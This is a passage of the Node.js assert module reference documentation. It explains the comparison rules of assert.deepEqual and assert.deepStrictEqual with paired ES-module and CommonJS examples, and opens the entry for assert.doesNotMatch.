<td><p>In Legacy assertion mode, changed status from Deprecated to Legacy.</p></td></tr>
<tr><td>v14.0.0</td>
<td><p>NaN is now treated as being identical if both sides are NaN.</p></td></tr>
<tr><td>v12.0.0</td>
<td><p>The type tags are now properly compared and there are a couple minor comparison adjustments to make the check less surprising.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>Error</code> names and messages are now properly compared.</p></td></tr>
<tr><td>v8.0.0</td>
<td><p>The <code>Set</code> and <code>Map</code> content is also compared.</p></td></tr>
<tr><td>v6.4.0, v4.7.1</td>
<td><p>Typed array slices are handled correctly now.</p></td></tr>
<tr><td>v6.1.0, v4.5.0</td>
<td><p>Objects with circular references can be used as inputs now.</p></td></tr>
<tr><td>v5.10.1, v4.4.3</td>
<td><p>Handle non-<code>Uint8Array</code> typed arrays correctly.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p><strong>Strict assertion mode</strong></p>
<p>An alias of <a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a>.</p>
<p><strong>Legacy assertion mode</strong></p>
<p></p><div class="api_stability api_stability_3"><a href="documentation.html#stability-index">Stability: 3</a> - Legacy: Use <a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a> instead.</div><p></p>
<p>Tests for deep equality between the <code>actual</code> and <code>expected</code> parameters. Consider
using <a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a> instead. <a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual()</code></a> can have
surprising results.</p>
<p><em>Deep equality</em> means that the enumerable "own" properties of child objects
are also recursively evaluated by the following rules.</p>
<div>
<h4>Comparison details<span><a class="mark" href="#comparison-details" id="comparison-details">#</a></span><a aria-hidden="true" class="legacy" id="assert_comparison_details"></a></h4>
<ul>
<li>Primitive values are compared with the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality"><code>==</code> operator</a>,
with the exception of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" class="type">&#x3C;NaN></a>. It is treated as being identical in case
both sides are <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" class="type">&#x3C;NaN></a>.</li>
<li><a href="https://tc39.github.io/ecma262/#sec-object.prototype.tostring">Type tags</a> of objects should be the same.</li>
<li>Only <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">enumerable "own" properties</a> are considered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> names, messages, causes, and errors are always compared,
even if these are not enumerable properties.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Primitive#Primitive_wrapper_objects_in_JavaScript">Object wrappers</a> are compared both as objects and unwrapped values.</li>
<li><code>Object</code> properties are compared unordered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" class="type">&#x3C;Map></a> keys and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set" class="type">&#x3C;Set></a> items are compared unordered.</li>
<li>Recursion stops when both sides differ or both sides encounter a circular
reference.</li>
<li>Implementation does not test the <a href="https://tc39.github.io/ecma262/#sec-ordinary-object-internal-methods-and-internal-slots"><code>[[Prototype]]</code></a> of
objects.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol" class="type">&#x3C;Symbol></a> properties are not compared.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap" class="type">&#x3C;WeakMap></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet" class="type">&#x3C;WeakSet></a> comparison does not rely on their values.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> lastIndex, flags, and source are always compared, even if these
are not enumerable properties.</li>
</ul>
<p>The following example does not throw an <a href="#class-assertassertionerror"><code>AssertionError</code></a> because the
primitives are compared using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality"><code>==</code> operator</a>.</p>

<pre class="with-50-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;
<span class="hljs-comment">// WARNING: This does not throw an AssertionError!</span>

assert.<span class="hljs-title function_">deepEqual</span>(<span class="hljs-string">'+00000000'</span>, <span class="hljs-literal">false</span>);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);
<span class="hljs-comment">// WARNING: This does not throw an AssertionError!</span>

assert.<span class="hljs-title function_">deepEqual</span>(<span class="hljs-string">'+00000000'</span>, <span class="hljs-literal">false</span>);</code><button class="copy-button">copy</button></pre>
<p>"Deep" equality means that the enumerable "own" properties of child objects
are evaluated also:</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-keyword">const</span> obj1 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj2 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>,
  },
};
<span class="hljs-keyword">const</span> obj3 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj4 = { <span class="hljs-attr">__proto__</span>: obj1 };

assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj1);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Values of b are different:</span>
assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj2);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } deepEqual { a: { b: 2 } }</span>

assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj3);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Prototypes are ignored:</span>
assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj4);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } deepEqual {}</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-keyword">const</span> obj1 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj2 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>,
  },
};
<span class="hljs-keyword">const</span> obj3 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj4 = { <span class="hljs-attr">__proto__</span>: obj1 };

assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj1);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Values of b are different:</span>
assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj2);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } deepEqual { a: { b: 2 } }</span>

assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj3);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Prototypes are ignored:</span>
assert.<span class="hljs-title function_">deepEqual</span>(obj1, obj4);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } deepEqual {}</span></code><button class="copy-button">copy</button></pre>
<p>If the values are not equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code>
property set equal to the value of the <code>message</code> parameter. If the <code>message</code>
parameter is undefined, a default error message is assigned. If the <code>message</code>
parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>
</div>
</section><section><h3><code>assert.deepStrictEqual(actual, expected[, message])</code><span><a class="mark" href="#assertdeepstrictequalactual-expected-message" id="assertdeepstrictequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_deepstrictequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.2.0</td>
<td><p>Error cause and errors properties are now compared as well.</p></td></tr>
<tr><td>v18.0.0</td>
<td><p>Regular expressions lastIndex property is now compared as well.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>Enumerable symbol properties are now compared.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>NaN</code> is now compared using the <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">SameValueZero</a> comparison.</p></td></tr>
<tr><td>v8.5.0</td>
<td><p>The <code>Error</code> names and messages are now properly compared.</p></td></tr>
<tr><td>v8.0.0</td>
<td><p>The <code>Set</code> and <code>Map</code> content is also compared.</p></td></tr>
<tr><td>v6.1.0</td>
<td><p>Objects with circular references can be used as inputs now.</p></td></tr>
<tr><td>v6.4.0, v4.7.1</td>
<td><p>Typed array slices are handled correctly now.</p></td></tr>
<tr><td>v5.10.1, v4.4.3</td>
<td><p>Handle non-<code>Uint8Array</code> typed arrays correctly.</p></td></tr>
<tr><td>v1.2.0</td>
<td><p><span>Added in: v1.2.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests for deep equality between the <code>actual</code> and <code>expected</code> parameters.
"Deep" equality means that the enumerable "own" properties of child objects
are recursively evaluated also by the following rules.</p>
<div>
<h4>Comparison details<span><a class="mark" href="#comparison-details_1" id="comparison-details_1">#</a></span><a aria-hidden="true" class="legacy" id="assert_comparison_details_1"></a></h4>
<ul>
<li>Primitive values are compared using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is()</code></a>.</li>
<li><a href="https://tc39.github.io/ecma262/#sec-object.prototype.tostring">Type tags</a> of objects should be the same.</li>
<li><a href="https://tc39.github.io/ecma262/#sec-ordinary-object-internal-methods-and-internal-slots"><code>[[Prototype]]</code></a> of objects are compared using
the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality"><code>===</code> operator</a>.</li>
<li>Only <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">enumerable "own" properties</a> are considered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> names, messages, causes, and errors are always compared,
even if these are not enumerable properties.
<code>errors</code> is also compared.</li>
<li>Enumerable own <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol" class="type">&#x3C;Symbol></a> properties are compared as well.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Primitive#Primitive_wrapper_objects_in_JavaScript">Object wrappers</a> are compared both as objects and unwrapped values.</li>
<li><code>Object</code> properties are compared unordered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" class="type">&#x3C;Map></a> keys and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set" class="type">&#x3C;Set></a> items are compared unordered.</li>
<li>Recursion stops when both sides differ or both sides encounter a circular
reference.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap" class="type">&#x3C;WeakMap></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet" class="type">&#x3C;WeakSet></a> instances are <strong>not</strong> compared structurally.
They are only equal if they reference the same object. Any comparison between
different <code>WeakMap</code> or <code>WeakSet</code> instances will result in inequality,
even if they contain the same entries.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> lastIndex, flags, and source are always compared, even if these
are not enumerable properties.</li>
</ul>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-comment">// This fails because 1 !== '1'.</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">a</span>: <span class="hljs-string">'1'</span> });
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   {</span>
<span class="hljs-comment">// +   a: 1</span>
<span class="hljs-comment">// -   a: '1'</span>
<span class="hljs-comment">//   }</span>

<span class="hljs-comment">// The following objects don't have own properties</span>
<span class="hljs-keyword">const</span> date = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>();
<span class="hljs-keyword">const</span> object = {};
<span class="hljs-keyword">const</span> fakeDate = {};
<span class="hljs-title class_">Object</span>.<span class="hljs-title function_">setPrototypeOf</span>(fakeDate, <span class="hljs-title class_">Date</span>.<span class="hljs-property"><span class="hljs-keyword">prototype</span></span>);

<span class="hljs-comment">// Different [[Prototype]]:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(object, fakeDate);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + {}</span>
<span class="hljs-comment">// - Date {}</span>

<span class="hljs-comment">// Different type tags:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(date, fakeDate);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 2018-04-26T00:49:08.604Z</span>
<span class="hljs-comment">// - Date {}</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-title class_">NaN</span>, <span class="hljs-title class_">NaN</span>);
<span class="hljs-comment">// OK because Object.is(NaN, NaN) is true.</span>

<span class="hljs-comment">// Different unwrapped numbers:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Number</span>(<span class="hljs-number">1</span>), <span class="hljs-keyword">new</span> <span class="hljs-title class_">Number</span>(<span class="hljs-number">2</span>));
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + [Number: 1]</span>
<span class="hljs-comment">// - [Number: 2]</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(<span class="hljs-string">'foo'</span>), <span class="hljs-title class_">Object</span>(<span class="hljs-string">'foo'</span>));
<span class="hljs-comment">// OK because the object and the string are identical when unwrapped.</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(-<span class="hljs-number">0</span>, -<span class="hljs-number">0</span>);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Different zeros:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-number">0</span>, -<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 0</span>
<span class="hljs-comment">// - -0</span>

<span class="hljs-keyword">const</span> symbol1 = <span class="hljs-title class_">Symbol</span>();
<span class="hljs-keyword">const</span> symbol2 = <span class="hljs-title class_">Symbol</span>();
assert.<span class="hljs-title function_">deepStrictEqual</span>({ [symbol1]: <span class="hljs-number">1</span> }, { [symbol1]: <span class="hljs-number">1</span> });
<span class="hljs-comment">// OK, because it is the same symbol on both objects.</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>({ [symbol1]: <span class="hljs-number">1</span> }, { [symbol2]: <span class="hljs-number">1</span> });
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Inputs identical but not reference equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// {</span>
<span class="hljs-comment">//   [Symbol()]: 1</span>
<span class="hljs-comment">// }</span>

<span class="hljs-keyword">const</span> weakMap1 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakMap</span>();
<span class="hljs-keyword">const</span> weakMap2 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakMap</span>();
<span class="hljs-keyword">const</span> obj = {};

weakMap1.<span class="hljs-title function_">set</span>(obj, <span class="hljs-string">'value'</span>);
weakMap2.<span class="hljs-title function_">set</span>(obj, <span class="hljs-string">'value'</span>);

<span class="hljs-comment">// Comparing different instances fails, even with same contents</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakMap1, weakMap2);
<span class="hljs-comment">// AssertionError: Values have same structure but are not reference-equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// WeakMap {</span>
<span class="hljs-comment">//   &#x3C;items unknown></span>
<span class="hljs-comment">// }</span>

<span class="hljs-comment">// Comparing the same instance to itself succeeds</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakMap1, weakMap1);
<span class="hljs-comment">// OK</span>

<span class="hljs-keyword">const</span> weakSet1 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakSet</span>();
<span class="hljs-keyword">const</span> weakSet2 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakSet</span>();
weakSet1.<span class="hljs-title function_">add</span>(obj);
weakSet2.<span class="hljs-title function_">add</span>(obj);

<span class="hljs-comment">// Comparing different instances fails, even with same contents</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakSet1, weakSet2);
<span class="hljs-comment">// AssertionError: Values have same structure but are not reference-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// WeakSet {</span>
<span class="hljs-comment">//   &#x3C;items unknown></span>
<span class="hljs-comment">// }</span>

<span class="hljs-comment">// Comparing the same instance to itself succeeds</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakSet1, weakSet1);
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

<span class="hljs-comment">// This fails because 1 !== '1'.</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">a</span>: <span class="hljs-string">'1'</span> });
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   {</span>
<span class="hljs-comment">// +   a: 1</span>
<span class="hljs-comment">// -   a: '1'</span>
<span class="hljs-comment">//   }</span>

<span class="hljs-comment">// The following objects don't have own properties</span>
<span class="hljs-keyword">const</span> date = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>();
<span class="hljs-keyword">const</span> object = {};
<span class="hljs-keyword">const</span> fakeDate = {};
<span class="hljs-title class_">Object</span>.<span class="hljs-title function_">setPrototypeOf</span>(fakeDate, <span class="hljs-title class_">Date</span>.<span class="hljs-property"><span class="hljs-keyword">prototype</span></span>);

<span class="hljs-comment">// Different [[Prototype]]:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(object, fakeDate);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + {}</span>
<span class="hljs-comment">// - Date {}</span>

<span class="hljs-comment">// Different type tags:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(date, fakeDate);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 2018-04-26T00:49:08.604Z</span>
<span class="hljs-comment">// - Date {}</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-title class_">NaN</span>, <span class="hljs-title class_">NaN</span>);
<span class="hljs-comment">// OK because Object.is(NaN, NaN) is true.</span>

<span class="hljs-comment">// Different unwrapped numbers:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Number</span>(<span class="hljs-number">1</span>), <span class="hljs-keyword">new</span> <span class="hljs-title class_">Number</span>(<span class="hljs-number">2</span>));
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + [Number: 1]</span>
<span class="hljs-comment">// - [Number: 2]</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(<span class="hljs-string">'foo'</span>), <span class="hljs-title class_">Object</span>(<span class="hljs-string">'foo'</span>));
<span class="hljs-comment">// OK because the object and the string are identical when unwrapped.</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>(-<span class="hljs-number">0</span>, -<span class="hljs-number">0</span>);
<span class="hljs-comment">// OK</span>

<span class="hljs-comment">// Different zeros:</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(<span class="hljs-number">0</span>, -<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 0</span>
<span class="hljs-comment">// - -0</span>

<span class="hljs-keyword">const</span> symbol1 = <span class="hljs-title class_">Symbol</span>();
<span class="hljs-keyword">const</span> symbol2 = <span class="hljs-title class_">Symbol</span>();
assert.<span class="hljs-title function_">deepStrictEqual</span>({ [symbol1]: <span class="hljs-number">1</span> }, { [symbol1]: <span class="hljs-number">1</span> });
<span class="hljs-comment">// OK, because it is the same symbol on both objects.</span>

assert.<span class="hljs-title function_">deepStrictEqual</span>({ [symbol1]: <span class="hljs-number">1</span> }, { [symbol2]: <span class="hljs-number">1</span> });
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Inputs identical but not reference equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// {</span>
<span class="hljs-comment">//   [Symbol()]: 1</span>
<span class="hljs-comment">// }</span>

<span class="hljs-keyword">const</span> weakMap1 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakMap</span>();
<span class="hljs-keyword">const</span> weakMap2 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakMap</span>();
<span class="hljs-keyword">const</span> obj = {};

weakMap1.<span class="hljs-title function_">set</span>(obj, <span class="hljs-string">'value'</span>);
weakMap2.<span class="hljs-title function_">set</span>(obj, <span class="hljs-string">'value'</span>);

<span class="hljs-comment">// Comparing different instances fails, even with same contents</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakMap1, weakMap2);
<span class="hljs-comment">// AssertionError: Values have same structure but are not reference-equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// WeakMap {</span>
<span class="hljs-comment">//   &#x3C;items unknown></span>
<span class="hljs-comment">// }</span>

<span class="hljs-comment">// Comparing the same instance to itself succeeds</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakMap1, weakMap1);
<span class="hljs-comment">// OK</span>

<span class="hljs-keyword">const</span> weakSet1 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakSet</span>();
<span class="hljs-keyword">const</span> weakSet2 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WeakSet</span>();
weakSet1.<span class="hljs-title function_">add</span>(obj);
weakSet2.<span class="hljs-title function_">add</span>(obj);

<span class="hljs-comment">// Comparing different instances fails, even with same contents</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakSet1, weakSet2);
<span class="hljs-comment">// AssertionError: Values have same structure but are not reference-equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// WeakSet {</span>
<span class="hljs-comment">//   &#x3C;items unknown></span>
<span class="hljs-comment">// }</span>

<span class="hljs-comment">// Comparing the same instance to itself succeeds</span>
assert.<span class="hljs-title function_">deepStrictEqual</span>(weakSet1, weakSet1);
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values are not equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code>
property set equal to the value of the <code>message</code> parameter. If the <code>message</code>
parameter is undefined, a default error message is assigned. If the <code>message</code>
parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<code>AssertionError</code>.</p>
</div>
</section><section><h3><code>assert.doesNotMatch(string, regexp[, message])</code><span><a class="mark" href="#assertdoesnotmatchstring-regexp-message" id="assertdoesnotmatchstring-regexp-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_doesnotmatch_string_regexp_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v16.0.0</td>
<td><p>This API is no longer experimental.</p></td></tr>
<tr><td>v13.6.0, v12.16.0</td>
<td><p><span>Added in: v13.6.0, v12.16.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>string</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>regexp</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Expects the <code>string</code> input not to match the regular expression.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-string">'I will fail'</span>, <span class="hljs-regexp">/fail/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The input was expected to not match the ...</span>

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-number">123</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The "string" argument must be of type string.</span>

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-string">'I will pass'</span>, <span class="hljs-regexp">/different/</span>);
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-string">'I will fail'</span>, <span class="hljs-regexp">/fail/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The input was expected to not match the ...</span>

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-number">123</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The "string" argument must be of type string.</span>

assert.<span class="hljs-title function_">doesNotMatch</span>(<span class="hljs-string">'I will pass'</span>, <span class="hljs-regexp">/different/</span>);
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values do match, or if the <code>string</code> argument is of another type than
<code>string</code>, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code> property set equal
to the value of the <code>message</code> parameter. If the <code>message</code> parameter is
undefined, a default error message is assigned. If the <code>message</code> parameter is an
